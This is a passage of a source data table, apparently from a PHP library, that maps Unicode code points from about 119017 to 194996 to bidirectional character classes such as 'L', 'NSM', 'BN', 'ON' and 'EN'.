119017=>'L', 119018=>'L', 119019=>'L', 119020=>'L', 119021=>'L', 119022=>'L', 119023=>'L', 119024=>'L', 119025=>'L', 119026=>'L', 119027=>'L', 119028=>'L', 119029=>'L', 119040=>'L', 119041=>'L', 119042=>'L', 119043=>'L', 119044=>'L', 119045=>'L', 119046=>'L', 119047=>'L', 119048=>'L', 119049=>'L', 119050=>'L', 119051=>'L', 119052=>'L', 119053=>'L', 119054=>'L', 119055=>'L', 119056=>'L', 119057=>'L', 119058=>'L', 119059=>'L', 119060=>'L', 119061=>'L', 119062=>'L', 119063=>'L', 119064=>'L', 119065=>'L', 119066=>'L', 119067=>'L', 119068=>'L', 119069=>'L', 119070=>'L', 119071=>'L', 119072=>'L', 119073=>'L', 119074=>'L', 119075=>'L', 119076=>'L', 119077=>'L', 119078=>'L', 119082=>'L', 119083=>'L', 119084=>'L', 119085=>'L', 119086=>'L', 119087=>'L', 119088=>'L', 119089=>'L', 119090=>'L', 119091=>'L', 119092=>'L', 119093=>'L', 119094=>'L', 119095=>'L', 119096=>'L', 119097=>'L', 119098=>'L', 119099=>'L', 119100=>'L', 119101=>'L', 119102=>'L', 119103=>'L', 119104=>'L', 119105=>'L', 119106=>'L', 119107=>'L', 119108=>'L', 119109=>'L', 119110=>'L', 119111=>'L', 119112=>'L', 119113=>'L', 119114=>'L', 119115=>'L', 119116=>'L', 119117=>'L', 119118=>'L', 119119=>'L', 119120=>'L', 119121=>'L', 119122=>'L', 119123=>'L', 119124=>'L', 119125=>'L', 119126=>'L', 119127=>'L', 119128=>'L', 119129=>'L', 119130=>'L', 119131=>'L', 119132=>'L', 119133=>'L', 119134=>'L', 119135=>'L', 119136=>'L', 119137=>'L', 119138=>'L', 119139=>'L', 119140=>'L', 119141=>'L', 119142=>'L', 119143=>'NSM', 119144=>'NSM', 119145=>'NSM', 119146=>'L', 119147=>'L', 119148=>'L', 119149=>'L', 119150=>'L', 119151=>'L', 119152=>'L', 119153=>'L', 119154=>'L', 119155=>'BN', 119156=>'BN', 119157=>'BN', 119158=>'BN', 119159=>'BN', 119160=>'BN', 119161=>'BN', 119162=>'BN', 119163=>'NSM', 119164=>'NSM', 119165=>'NSM', 119166=>'NSM', 119167=>'NSM', 119168=>'NSM', 119169=>'NSM', 119170=>'NSM', 119171=>'L', 119172=>'L', 119173=>'NSM', 119174=>'NSM', 119175=>'NSM', 119176=>'NSM', 119177=>'NSM', 119178=>'NSM', 119179=>'NSM', 119180=>'L', 119181=>'L', 119182=>'L', 119183=>'L', 119184=>'L', 119185=>'L', 119186=>'L', 119187=>'L', 119188=>'L', 119189=>'L', 119190=>'L', 119191=>'L', 119192=>'L', 119193=>'L', 119194=>'L', 119195=>'L', 119196=>'L', 119197=>'L', 119198=>'L', 119199=>'L', 119200=>'L', 119201=>'L', 119202=>'L', 119203=>'L', 119204=>'L', 119205=>'L', 119206=>'L', 119207=>'L', 119208=>'L', 119209=>'L', 119210=>'NSM', 119211=>'NSM', 119212=>'NSM', 119213=>'NSM', 119214=>'L', 119215=>'L', 119216=>'L', 119217=>'L', 119218=>'L', 119219=>'L', 119220=>'L', 119221=>'L', 119222=>'L', 119223=>'L', 119224=>'L', 119225=>'L', 119226=>'L', 119227=>'L', 119228=>'L', 119229=>'L', 119230=>'L', 119231=>'L', 119232=>'L', 119233=>'L', 119234=>'L', 119235=>'L', 119236=>'L', 119237=>'L', 119238=>'L', 119239=>'L', 119240=>'L', 119241=>'L', 119242=>'L', 119243=>'L', 119244=>'L', 119245=>'L', 119246=>'L', 119247=>'L', 119248=>'L', 119249=>'L', 119250=>'L', 119251=>'L', 119252=>'L', 119253=>'L', 119254=>'L', 119255=>'L', 119256=>'L', 119257=>'L', 119258=>'L', 119259=>'L', 119260=>'L', 119261=>'L', 119296=>'ON', 119297=>'ON', 119298=>'ON', 119299=>'ON', 119300=>'ON', 119301=>'ON', 119302=>'ON', 119303=>'ON', 119304=>'ON', 119305=>'ON', 119306=>'ON', 119307=>'ON', 119308=>'ON', 119309=>'ON', 119310=>'ON', 119311=>'ON', 119312=>'ON', 119313=>'ON', 119314=>'ON', 119315=>'ON', 119316=>'ON', 119317=>'ON', 119318=>'ON', 119319=>'ON', 119320=>'ON', 119321=>'ON', 119322=>'ON', 119323=>'ON', 119324=>'ON', 119325=>'ON', 119326=>'ON', 119327=>'ON', 119328=>'ON', 119329=>'ON', 119330=>'ON', 119331=>'ON', 119332=>'ON', 119333=>'ON', 119334=>'ON', 119335=>'ON', 119336=>'ON', 119337=>'ON', 119338=>'ON', 119339=>'ON', 119340=>'ON', 119341=>'ON', 119342=>'ON', 119343=>'ON', 119344=>'ON', 119345=>'ON', 119346=>'ON', 119347=>'ON', 119348=>'ON', 119349=>'ON', 119350=>'ON', 119351=>'ON', 119352=>'ON', 119353=>'ON', 119354=>'ON', 119355=>'ON', 119356=>'ON', 119357=>'ON', 119358=>'ON', 119359=>'ON', 119360=>'ON', 119361=>'ON', 119362=>'NSM', 119363=>'NSM', 119364=>'NSM', 119365=>'ON', 119552=>'ON', 119553=>'ON', 119554=>'ON', 119555=>'ON', 119556=>'ON', 119557=>'ON', 119558=>'ON', 119559=>'ON', 119560=>'ON', 119561=>'ON', 119562=>'ON', 119563=>'ON', 119564=>'ON', 119565=>'ON', 119566=>'ON', 119567=>'ON', 119568=>'ON', 119569=>'ON', 119570=>'ON', 119571=>'ON', 119572=>'ON', 119573=>'ON', 119574=>'ON', 119575=>'ON', 119576=>'ON', 119577=>'ON', 119578=>'ON', 119579=>'ON', 119580=>'ON', 119581=>'ON', 119582=>'ON', 119583=>'ON', 119584=>'ON', 119585=>'ON', 119586=>'ON', 119587=>'ON', 119588=>'ON', 119589=>'ON', 119590=>'ON', 119591=>'ON', 119592=>'ON', 119593=>'ON', 119594=>'ON', 119595=>'ON', 119596=>'ON', 119597=>'ON', 119598=>'ON', 119599=>'ON', 119600=>'ON', 119601=>'ON', 119602=>'ON', 119603=>'ON', 119604=>'ON', 119605=>'ON', 119606=>'ON', 119607=>'ON', 119608=>'ON', 119609=>'ON', 119610=>'ON', 119611=>'ON', 119612=>'ON', 119613=>'ON', 119614=>'ON', 119615=>'ON', 119616=>'ON', 119617=>'ON', 119618=>'ON', 119619=>'ON', 119620=>'ON', 119621=>'ON', 119622=>'ON', 119623=>'ON', 119624=>'ON', 119625=>'ON', 119626=>'ON', 119627=>'ON', 119628=>'ON', 119629=>'ON', 119630=>'ON', 119631=>'ON', 119632=>'ON', 119633=>'ON', 119634=>'ON', 119635=>'ON', 119636=>'ON', 119637=>'ON', 119638=>'ON', 119648=>'L', 119649=>'L', 119650=>'L', 119651=>'L', 119652=>'L', 119653=>'L', 119654=>'L', 119655=>'L', 119656=>'L', 119657=>'L', 119658=>'L', 119659=>'L', 119660=>'L', 119661=>'L', 119662=>'L', 119663=>'L', 119664=>'L', 119665=>'L', 119808=>'L', 119809=>'L', 119810=>'L', 119811=>'L', 119812=>'L', 119813=>'L', 119814=>'L', 119815=>'L', 119816=>'L', 119817=>'L', 119818=>'L', 119819=>'L', 119820=>'L', 119821=>'L', 119822=>'L', 119823=>'L', 119824=>'L', 119825=>'L', 119826=>'L', 119827=>'L', 119828=>'L', 119829=>'L', 119830=>'L', 119831=>'L', 119832=>'L', 119833=>'L', 119834=>'L', 119835=>'L', 119836=>'L', 119837=>'L', 119838=>'L', 119839=>'L', 119840=>'L', 119841=>'L', 119842=>'L', 119843=>'L', 119844=>'L', 119845=>'L', 119846=>'L', 119847=>'L', 119848=>'L', 119849=>'L', 119850=>'L', 119851=>'L', 119852=>'L', 119853=>'L', 119854=>'L', 119855=>'L', 119856=>'L', 119857=>'L', 119858=>'L', 119859=>'L', 119860=>'L', 119861=>'L', 119862=>'L', 119863=>'L', 119864=>'L', 119865=>'L', 119866=>'L', 119867=>'L', 119868=>'L', 119869=>'L', 119870=>'L', 119871=>'L', 119872=>'L', 119873=>'L', 119874=>'L', 119875=>'L', 119876=>'L', 119877=>'L', 119878=>'L', 119879=>'L', 119880=>'L', 119881=>'L', 119882=>'L', 119883=>'L', 119884=>'L', 119885=>'L', 119886=>'L', 119887=>'L', 119888=>'L', 119889=>'L', 119890=>'L', 119891=>'L', 119892=>'L', 119894=>'L', 119895=>'L', 119896=>'L', 119897=>'L', 119898=>'L', 119899=>'L', 119900=>'L', 119901=>'L', 119902=>'L', 119903=>'L', 119904=>'L', 119905=>'L', 119906=>'L', 119907=>'L', 119908=>'L', 119909=>'L', 119910=>'L', 119911=>'L', 119912=>'L', 119913=>'L', 119914=>'L', 119915=>'L', 119916=>'L', 119917=>'L', 119918=>'L', 119919=>'L', 119920=>'L', 119921=>'L', 119922=>'L', 119923=>'L', 119924=>'L', 119925=>'L', 119926=>'L', 119927=>'L', 119928=>'L', 119929=>'L', 119930=>'L', 119931=>'L', 119932=>'L', 119933=>'L', 119934=>'L', 119935=>'L', 119936=>'L', 119937=>'L', 119938=>'L', 119939=>'L', 119940=>'L', 119941=>'L', 119942=>'L', 119943=>'L', 119944=>'L', 119945=>'L', 119946=>'L', 119947=>'L', 119948=>'L', 119949=>'L', 119950=>'L', 119951=>'L', 119952=>'L', 119953=>'L', 119954=>'L', 119955=>'L', 119956=>'L', 119957=>'L', 119958=>'L', 119959=>'L', 119960=>'L', 119961=>'L', 119962=>'L', 119963=>'L', 119964=>'L', 119966=>'L', 119967=>'L', 119970=>'L', 119973=>'L', 119974=>'L', 119977=>'L', 119978=>'L', 119979=>'L', 119980=>'L', 119982=>'L', 119983=>'L', 119984=>'L', 119985=>'L', 119986=>'L', 119987=>'L', 119988=>'L', 119989=>'L', 119990=>'L', 119991=>'L', 119992=>'L', 119993=>'L', 119995=>'L', 119997=>'L', 119998=>'L', 119999=>'L', 120000=>'L', 120001=>'L', 120002=>'L', 120003=>'L', 120005=>'L', 120006=>'L', 120007=>'L', 120008=>'L', 120009=>'L', 120010=>'L', 120011=>'L', 120012=>'L', 120013=>'L', 120014=>'L', 120015=>'L', 120016=>'L', 120017=>'L', 120018=>'L', 120019=>'L', 120020=>'L', 120021=>'L', 120022=>'L', 120023=>'L', 120024=>'L', 120025=>'L', 120026=>'L', 120027=>'L', 120028=>'L', 120029=>'L', 120030=>'L', 120031=>'L', 120032=>'L', 120033=>'L', 120034=>'L', 120035=>'L', 120036=>'L', 120037=>'L', 120038=>'L', 120039=>'L', 120040=>'L', 120041=>'L', 120042=>'L', 120043=>'L', 120044=>'L', 120045=>'L', 120046=>'L', 120047=>'L', 120048=>'L', 120049=>'L', 120050=>'L', 120051=>'L', 120052=>'L', 120053=>'L', 120054=>'L', 120055=>'L', 120056=>'L', 120057=>'L', 120058=>'L', 120059=>'L', 120060=>'L', 120061=>'L', 120062=>'L', 120063=>'L', 120064=>'L', 120065=>'L', 120066=>'L', 120067=>'L', 120068=>'L', 120069=>'L', 120071=>'L', 120072=>'L', 120073=>'L', 120074=>'L', 120077=>'L', 120078=>'L', 120079=>'L', 120080=>'L', 120081=>'L', 120082=>'L', 120083=>'L', 120084=>'L', 120086=>'L', 120087=>'L', 120088=>'L', 120089=>'L', 120090=>'L', 120091=>'L', 120092=>'L', 120094=>'L', 120095=>'L', 120096=>'L', 120097=>'L', 120098=>'L', 120099=>'L', 120100=>'L', 120101=>'L', 120102=>'L', 120103=>'L', 120104=>'L', 120105=>'L', 120106=>'L', 120107=>'L', 120108=>'L', 120109=>'L', 120110=>'L', 120111=>'L', 120112=>'L', 120113=>'L', 120114=>'L', 120115=>'L', 120116=>'L', 120117=>'L', 120118=>'L', 120119=>'L', 120120=>'L', 120121=>'L', 120123=>'L', 120124=>'L', 120125=>'L', 120126=>'L', 120128=>'L', 120129=>'L', 120130=>'L', 120131=>'L', 120132=>'L', 120134=>'L', 120138=>'L', 120139=>'L', 120140=>'L', 120141=>'L', 120142=>'L', 120143=>'L', 120144=>'L', 120146=>'L', 120147=>'L', 120148=>'L', 120149=>'L', 120150=>'L', 120151=>'L', 120152=>'L', 120153=>'L', 120154=>'L', 120155=>'L', 120156=>'L', 120157=>'L', 120158=>'L', 120159=>'L', 120160=>'L', 120161=>'L', 120162=>'L', 120163=>'L', 120164=>'L', 120165=>'L', 120166=>'L', 120167=>'L', 120168=>'L', 120169=>'L', 120170=>'L', 120171=>'L', 120172=>'L', 120173=>'L', 120174=>'L', 120175=>'L', 120176=>'L', 120177=>'L', 120178=>'L', 120179=>'L', 120180=>'L', 120181=>'L', 120182=>'L', 120183=>'L', 120184=>'L', 120185=>'L', 120186=>'L', 120187=>'L', 120188=>'L', 120189=>'L', 120190=>'L', 120191=>'L', 120192=>'L', 120193=>'L', 120194=>'L', 120195=>'L', 120196=>'L', 120197=>'L', 120198=>'L', 120199=>'L', 120200=>'L', 120201=>'L', 120202=>'L', 120203=>'L', 120204=>'L', 120205=>'L', 120206=>'L', 120207=>'L', 120208=>'L', 120209=>'L', 120210=>'L', 120211=>'L', 120212=>'L', 120213=>'L', 120214=>'L', 120215=>'L', 120216=>'L', 120217=>'L', 120218=>'L', 120219=>'L', 120220=>'L', 120221=>'L', 120222=>'L', 120223=>'L', 120224=>'L', 120225=>'L', 120226=>'L', 120227=>'L', 120228=>'L', 120229=>'L', 120230=>'L', 120231=>'L', 120232=>'L', 120233=>'L', 120234=>'L', 120235=>'L', 120236=>'L', 120237=>'L', 120238=>'L', 120239=>'L', 120240=>'L', 120241=>'L', 120242=>'L', 120243=>'L', 120244=>'L', 120245=>'L', 120246=>'L', 120247=>'L', 120248=>'L', 120249=>'L', 120250=>'L', 120251=>'L', 120252=>'L', 120253=>'L', 120254=>'L', 120255=>'L', 120256=>'L', 120257=>'L', 120258=>'L', 120259=>'L', 120260=>'L', 120261=>'L', 120262=>'L', 120263=>'L', 120264=>'L', 120265=>'L', 120266=>'L', 120267=>'L', 120268=>'L', 120269=>'L', 120270=>'L', 120271=>'L', 120272=>'L', 120273=>'L', 120274=>'L', 120275=>'L', 120276=>'L', 120277=>'L', 120278=>'L', 120279=>'L', 120280=>'L', 120281=>'L', 120282=>'L', 120283=>'L', 120284=>'L', 120285=>'L', 120286=>'L', 120287=>'L', 120288=>'L', 120289=>'L', 120290=>'L', 120291=>'L', 120292=>'L', 120293=>'L', 120294=>'L', 120295=>'L', 120296=>'L', 120297=>'L', 120298=>'L', 120299=>'L', 120300=>'L', 120301=>'L', 120302=>'L', 120303=>'L', 120304=>'L', 120305=>'L', 120306=>'L', 120307=>'L', 120308=>'L', 120309=>'L', 120310=>'L', 120311=>'L', 120312=>'L', 120313=>'L', 120314=>'L', 120315=>'L', 120316=>'L', 120317=>'L', 120318=>'L', 120319=>'L', 120320=>'L', 120321=>'L', 120322=>'L', 120323=>'L', 120324=>'L', 120325=>'L', 120326=>'L', 120327=>'L', 120328=>'L', 120329=>'L', 120330=>'L', 120331=>'L', 120332=>'L', 120333=>'L', 120334=>'L', 120335=>'L', 120336=>'L', 120337=>'L', 120338=>'L', 120339=>'L', 120340=>'L', 120341=>'L', 120342=>'L', 120343=>'L', 120344=>'L', 120345=>'L', 120346=>'L', 120347=>'L', 120348=>'L', 120349=>'L', 120350=>'L', 120351=>'L', 120352=>'L', 120353=>'L', 120354=>'L', 120355=>'L', 120356=>'L', 120357=>'L', 120358=>'L', 120359=>'L', 120360=>'L', 120361=>'L', 120362=>'L', 120363=>'L', 120364=>'L', 120365=>'L', 120366=>'L', 120367=>'L', 120368=>'L', 120369=>'L', 120370=>'L', 120371=>'L', 120372=>'L', 120373=>'L', 120374=>'L', 120375=>'L', 120376=>'L', 120377=>'L', 120378=>'L', 120379=>'L', 120380=>'L', 120381=>'L', 120382=>'L', 120383=>'L', 120384=>'L', 120385=>'L', 120386=>'L', 120387=>'L', 120388=>'L', 120389=>'L', 120390=>'L', 120391=>'L', 120392=>'L', 120393=>'L', 120394=>'L', 120395=>'L', 120396=>'L', 120397=>'L', 120398=>'L', 120399=>'L', 120400=>'L', 120401=>'L', 120402=>'L', 120403=>'L', 120404=>'L', 120405=>'L', 120406=>'L', 120407=>'L', 120408=>'L', 120409=>'L', 120410=>'L', 120411=>'L', 120412=>'L', 120413=>'L', 120414=>'L', 120415=>'L', 120416=>'L', 120417=>'L', 120418=>'L', 120419=>'L', 120420=>'L', 120421=>'L', 120422=>'L', 120423=>'L', 120424=>'L', 120425=>'L', 120426=>'L', 120427=>'L', 120428=>'L', 120429=>'L', 120430=>'L', 120431=>'L', 120432=>'L', 120433=>'L', 120434=>'L', 120435=>'L', 120436=>'L', 120437=>'L', 120438=>'L', 120439=>'L', 120440=>'L', 120441=>'L', 120442=>'L', 120443=>'L', 120444=>'L', 120445=>'L', 120446=>'L', 120447=>'L', 120448=>'L', 120449=>'L', 120450=>'L', 120451=>'L', 120452=>'L', 120453=>'L', 120454=>'L', 120455=>'L', 120456=>'L', 120457=>'L', 120458=>'L', 120459=>'L', 120460=>'L', 120461=>'L', 120462=>'L', 120463=>'L', 120464=>'L', 120465=>'L', 120466=>'L', 120467=>'L', 120468=>'L', 120469=>'L', 120470=>'L', 120471=>'L', 120472=>'L', 120473=>'L', 120474=>'L', 120475=>'L', 120476=>'L', 120477=>'L', 120478=>'L', 120479=>'L', 120480=>'L', 120481=>'L', 120482=>'L', 120483=>'L', 120484=>'L', 120485=>'L', 120488=>'L', 120489=>'L', 120490=>'L', 120491=>'L', 120492=>'L', 120493=>'L', 120494=>'L', 120495=>'L', 120496=>'L', 120497=>'L', 120498=>'L', 120499=>'L', 120500=>'L', 120501=>'L', 120502=>'L', 120503=>'L', 120504=>'L', 120505=>'L', 120506=>'L', 120507=>'L', 120508=>'L', 120509=>'L', 120510=>'L', 120511=>'L', 120512=>'L', 120513=>'L', 120514=>'L', 120515=>'L', 120516=>'L', 120517=>'L', 120518=>'L', 120519=>'L', 120520=>'L', 120521=>'L', 120522=>'L', 120523=>'L', 120524=>'L', 120525=>'L', 120526=>'L', 120527=>'L', 120528=>'L', 120529=>'L', 120530=>'L', 120531=>'L', 120532=>'L', 120533=>'L', 120534=>'L', 120535=>'L', 120536=>'L', 120537=>'L', 120538=>'L', 120539=>'L', 120540=>'L', 120541=>'L', 120542=>'L', 120543=>'L', 120544=>'L', 120545=>'L', 120546=>'L', 120547=>'L', 120548=>'L', 120549=>'L', 120550=>'L', 120551=>'L', 120552=>'L', 120553=>'L', 120554=>'L', 120555=>'L', 120556=>'L', 120557=>'L', 120558=>'L', 120559=>'L', 120560=>'L', 120561=>'L', 120562=>'L', 120563=>'L', 120564=>'L', 120565=>'L', 120566=>'L', 120567=>'L', 120568=>'L', 120569=>'L', 120570=>'L', 120571=>'L', 120572=>'L', 120573=>'L', 120574=>'L', 120575=>'L', 120576=>'L', 120577=>'L', 120578=>'L', 120579=>'L', 120580=>'L', 120581=>'L', 120582=>'L', 120583=>'L', 120584=>'L', 120585=>'L', 120586=>'L', 120587=>'L', 120588=>'L', 120589=>'L', 120590=>'L', 120591=>'L', 120592=>'L', 120593=>'L', 120594=>'L', 120595=>'L', 120596=>'L', 120597=>'L', 120598=>'L', 120599=>'L', 120600=>'L', 120601=>'L', 120602=>'L', 120603=>'L', 120604=>'L', 120605=>'L', 120606=>'L', 120607=>'L', 120608=>'L', 120609=>'L', 120610=>'L', 120611=>'L', 120612=>'L', 120613=>'L', 120614=>'L', 120615=>'L', 120616=>'L', 120617=>'L', 120618=>'L', 120619=>'L', 120620=>'L', 120621=>'L', 120622=>'L', 120623=>'L', 120624=>'L', 120625=>'L', 120626=>'L', 120627=>'L', 120628=>'L', 120629=>'L', 120630=>'L', 120631=>'L', 120632=>'L', 120633=>'L', 120634=>'L', 120635=>'L', 120636=>'L', 120637=>'L', 120638=>'L', 120639=>'L', 120640=>'L', 120641=>'L', 120642=>'L', 120643=>'L', 120644=>'L', 120645=>'L', 120646=>'L', 120647=>'L', 120648=>'L', 120649=>'L', 120650=>'L', 120651=>'L', 120652=>'L', 120653=>'L', 120654=>'L', 120655=>'L', 120656=>'L', 120657=>'L', 120658=>'L', 120659=>'L', 120660=>'L', 120661=>'L', 120662=>'L', 120663=>'L', 120664=>'L', 120665=>'L', 120666=>'L', 120667=>'L', 120668=>'L', 120669=>'L', 120670=>'L', 120671=>'L', 120672=>'L', 120673=>'L', 120674=>'L', 120675=>'L', 120676=>'L', 120677=>'L', 120678=>'L', 120679=>'L', 120680=>'L', 120681=>'L', 120682=>'L', 120683=>'L', 120684=>'L', 120685=>'L', 120686=>'L', 120687=>'L', 120688=>'L', 120689=>'L', 120690=>'L', 120691=>'L', 120692=>'L', 120693=>'L', 120694=>'L', 120695=>'L', 120696=>'L', 120697=>'L', 120698=>'L', 120699=>'L', 120700=>'L', 120701=>'L', 120702=>'L', 120703=>'L', 120704=>'L', 120705=>'L', 120706=>'L', 120707=>'L', 120708=>'L', 120709=>'L', 120710=>'L', 120711=>'L', 120712=>'L', 120713=>'L', 120714=>'L', 120715=>'L', 120716=>'L', 120717=>'L', 120718=>'L', 120719=>'L', 120720=>'L', 120721=>'L', 120722=>'L', 120723=>'L', 120724=>'L', 120725=>'L', 120726=>'L', 120727=>'L', 120728=>'L', 120729=>'L', 120730=>'L', 120731=>'L', 120732=>'L', 120733=>'L', 120734=>'L', 120735=>'L', 120736=>'L', 120737=>'L', 120738=>'L', 120739=>'L', 120740=>'L', 120741=>'L', 120742=>'L', 120743=>'L', 120744=>'L', 120745=>'L', 120746=>'L', 120747=>'L', 120748=>'L', 120749=>'L', 120750=>'L', 120751=>'L', 120752=>'L', 120753=>'L', 120754=>'L', 120755=>'L', 120756=>'L', 120757=>'L', 120758=>'L', 120759=>'L', 120760=>'L', 120761=>'L', 120762=>'L', 120763=>'L', 120764=>'L', 120765=>'L', 120766=>'L', 120767=>'L', 120768=>'L', 120769=>'L', 120770=>'L', 120771=>'L', 120772=>'L', 120773=>'L', 120774=>'L', 120775=>'L', 120776=>'L', 120777=>'L', 120778=>'L', 120779=>'L', 120782=>'EN', 120783=>'EN', 120784=>'EN', 120785=>'EN', 120786=>'EN', 120787=>'EN', 120788=>'EN', 120789=>'EN', 120790=>'EN', 120791=>'EN', 120792=>'EN', 120793=>'EN', 120794=>'EN', 120795=>'EN', 120796=>'EN', 120797=>'EN', 120798=>'EN', 120799=>'EN', 120800=>'EN', 120801=>'EN', 120802=>'EN', 120803=>'EN', 120804=>'EN', 120805=>'EN', 120806=>'EN', 120807=>'EN', 120808=>'EN', 120809=>'EN', 120810=>'EN', 120811=>'EN', 120812=>'EN', 120813=>'EN', 120814=>'EN', 120815=>'EN', 120816=>'EN', 120817=>'EN', 120818=>'EN', 120819=>'EN', 120820=>'EN', 120821=>'EN', 120822=>'EN', 120823=>'EN', 120824=>'EN', 120825=>'EN', 120826=>'EN', 120827=>'EN', 120828=>'EN', 120829=>'EN', 120830=>'EN', 120831=>'EN', 131072=>'L', 173782=>'L', 194560=>'L', 194561=>'L', 194562=>'L', 194563=>'L', 194564=>'L', 194565=>'L', 194566=>'L', 194567=>'L', 194568=>'L', 194569=>'L', 194570=>'L', 194571=>'L', 194572=>'L', 194573=>'L', 194574=>'L', 194575=>'L', 194576=>'L', 194577=>'L', 194578=>'L', 194579=>'L', 194580=>'L', 194581=>'L', 194582=>'L', 194583=>'L', 194584=>'L', 194585=>'L', 194586=>'L', 194587=>'L', 194588=>'L', 194589=>'L', 194590=>'L', 194591=>'L', 194592=>'L', 194593=>'L', 194594=>'L', 194595=>'L', 194596=>'L', 194597=>'L', 194598=>'L', 194599=>'L', 194600=>'L', 194601=>'L', 194602=>'L', 194603=>'L', 194604=>'L', 194605=>'L', 194606=>'L', 194607=>'L', 194608=>'L', 194609=>'L', 194610=>'L', 194611=>'L', 194612=>'L', 194613=>'L', 194614=>'L', 194615=>'L', 194616=>'L', 194617=>'L', 194618=>'L', 194619=>'L', 194620=>'L', 194621=>'L', 194622=>'L', 194623=>'L', 194624=>'L', 194625=>'L', 194626=>'L', 194627=>'L', 194628=>'L', 194629=>'L', 194630=>'L', 194631=>'L', 194632=>'L', 194633=>'L', 194634=>'L', 194635=>'L', 194636=>'L', 194637=>'L', 194638=>'L', 194639=>'L', 194640=>'L', 194641=>'L', 194642=>'L', 194643=>'L', 194644=>'L', 194645=>'L', 194646=>'L', 194647=>'L', 194648=>'L', 194649=>'L', 194650=>'L', 194651=>'L', 194652=>'L', 194653=>'L', 194654=>'L', 194655=>'L', 194656=>'L', 194657=>'L', 194658=>'L', 194659=>'L', 194660=>'L', 194661=>'L', 194662=>'L', 194663=>'L', 194664=>'L', 194665=>'L', 194666=>'L', 194667=>'L', 194668=>'L', 194669=>'L', 194670=>'L', 194671=>'L', 194672=>'L', 194673=>'L', 194674=>'L', 194675=>'L', 194676=>'L', 194677=>'L', 194678=>'L', 194679=>'L', 194680=>'L', 194681=>'L', 194682=>'L', 194683=>'L', 194684=>'L', 194685=>'L', 194686=>'L', 194687=>'L', 194688=>'L', 194689=>'L', 194690=>'L', 194691=>'L', 194692=>'L', 194693=>'L', 194694=>'L', 194695=>'L', 194696=>'L', 194697=>'L', 194698=>'L', 194699=>'L', 194700=>'L', 194701=>'L', 194702=>'L', 194703=>'L', 194704=>'L', 194705=>'L', 194706=>'L', 194707=>'L', 194708=>'L', 194709=>'L', 194710=>'L', 194711=>'L', 194712=>'L', 194713=>'L', 194714=>'L', 194715=>'L', 194716=>'L', 194717=>'L', 194718=>'L', 194719=>'L', 194720=>'L', 194721=>'L', 194722=>'L', 194723=>'L', 194724=>'L', 194725=>'L', 194726=>'L', 194727=>'L', 194728=>'L', 194729=>'L', 194730=>'L', 194731=>'L', 194732=>'L', 194733=>'L', 194734=>'L', 194735=>'L', 194736=>'L', 194737=>'L', 194738=>'L', 194739=>'L', 194740=>'L', 194741=>'L', 194742=>'L', 194743=>'L', 194744=>'L', 194745=>'L', 194746=>'L', 194747=>'L', 194748=>'L', 194749=>'L', 194750=>'L', 194751=>'L', 194752=>'L', 194753=>'L', 194754=>'L', 194755=>'L', 194756=>'L', 194757=>'L', 194758=>'L', 194759=>'L', 194760=>'L', 194761=>'L', 194762=>'L', 194763=>'L', 194764=>'L', 194765=>'L', 194766=>'L', 194767=>'L', 194768=>'L', 194769=>'L', 194770=>'L', 194771=>'L', 194772=>'L', 194773=>'L', 194774=>'L', 194775=>'L', 194776=>'L', 194777=>'L', 194778=>'L', 194779=>'L', 194780=>'L', 194781=>'L', 194782=>'L', 194783=>'L', 194784=>'L', 194785=>'L', 194786=>'L', 194787=>'L', 194788=>'L', 194789=>'L', 194790=>'L', 194791=>'L', 194792=>'L', 194793=>'L', 194794=>'L', 194795=>'L', 194796=>'L', 194797=>'L', 194798=>'L', 194799=>'L', 194800=>'L', 194801=>'L', 194802=>'L', 194803=>'L', 194804=>'L', 194805=>'L', 194806=>'L', 194807=>'L', 194808=>'L', 194809=>'L', 194810=>'L', 194811=>'L', 194812=>'L', 194813=>'L', 194814=>'L', 194815=>'L', 194816=>'L', 194817=>'L', 194818=>'L', 194819=>'L', 194820=>'L', 194821=>'L', 194822=>'L', 194823=>'L', 194824=>'L', 194825=>'L', 194826=>'L', 194827=>'L', 194828=>'L', 194829=>'L', 194830=>'L', 194831=>'L', 194832=>'L', 194833=>'L', 194834=>'L', 194835=>'L', 194836=>'L', 194837=>'L', 194838=>'L', 194839=>'L', 194840=>'L', 194841=>'L', 194842=>'L', 194843=>'L', 194844=>'L', 194845=>'L', 194846=>'L', 194847=>'L', 194848=>'L', 194849=>'L', 194850=>'L', 194851=>'L', 194852=>'L', 194853=>'L', 194854=>'L', 194855=>'L', 194856=>'L', 194857=>'L', 194858=>'L', 194859=>'L', 194860=>'L', 194861=>'L', 194862=>'L', 194863=>'L', 194864=>'L', 194865=>'L', 194866=>'L', 194867=>'L', 194868=>'L', 194869=>'L', 194870=>'L', 194871=>'L', 194872=>'L', 194873=>'L', 194874=>'L', 194875=>'L', 194876=>'L', 194877=>'L', 194878=>'L', 194879=>'L', 194880=>'L', 194881=>'L', 194882=>'L', 194883=>'L', 194884=>'L', 194885=>'L', 194886=>'L', 194887=>'L', 194888=>'L', 194889=>'L', 194890=>'L', 194891=>'L', 194892=>'L', 194893=>'L', 194894=>'L', 194895=>'L', 194896=>'L', 194897=>'L', 194898=>'L', 194899=>'L', 194900=>'L', 194901=>'L', 194902=>'L', 194903=>'L', 194904=>'L', 194905=>'L', 194906=>'L', 194907=>'L', 194908=>'L', 194909=>'L', 194910=>'L', 194911=>'L', 194912=>'L', 194913=>'L', 194914=>'L', 194915=>'L', 194916=>'L', 194917=>'L', 194918=>'L', 194919=>'L', 194920=>'L', 194921=>'L', 194922=>'L', 194923=>'L', 194924=>'L', 194925=>'L', 194926=>'L', 194927=>'L', 194928=>'L', 194929=>'L', 194930=>'L', 194931=>'L', 194932=>'L', 194933=>'L', 194934=>'L', 194935=>'L', 194936=>'L', 194937=>'L', 194938=>'L', 194939=>'L', 194940=>'L', 194941=>'L', 194942=>'L', 194943=>'L', 194944=>'L', 194945=>'L', 194946=>'L', 194947=>'L', 194948=>'L', 194949=>'L', 194950=>'L', 194951=>'L', 194952=>'L', 194953=>'L', 194954=>'L', 194955=>'L', 194956=>'L', 194957=>'L', 194958=>'L', 194959=>'L', 194960=>'L', 194961=>'L', 194962=>'L', 194963=>'L', 194964=>'L', 194965=>'L', 194966=>'L', 194967=>'L', 194968=>'L', 194969=>'L', 194970=>'L', 194971=>'L', 194972=>'L', 194973=>'L', 194974=>'L', 194975=>'L', 194976=>'L', 194977=>'L', 194978=>'L', 194979=>'L', 194980=>'L', 194981=>'L', 194982=>'L', 194983=>'L', 194984=>'L', 194985=>'L', 194986=>'L', 194987=>'L', 194988=>'L', 194989=>'L', 194990=>'L', 194991=>'L', 194992=>'L', 194993=>'L', 194994=>'L', 194995=>'L', 194996=>'L', 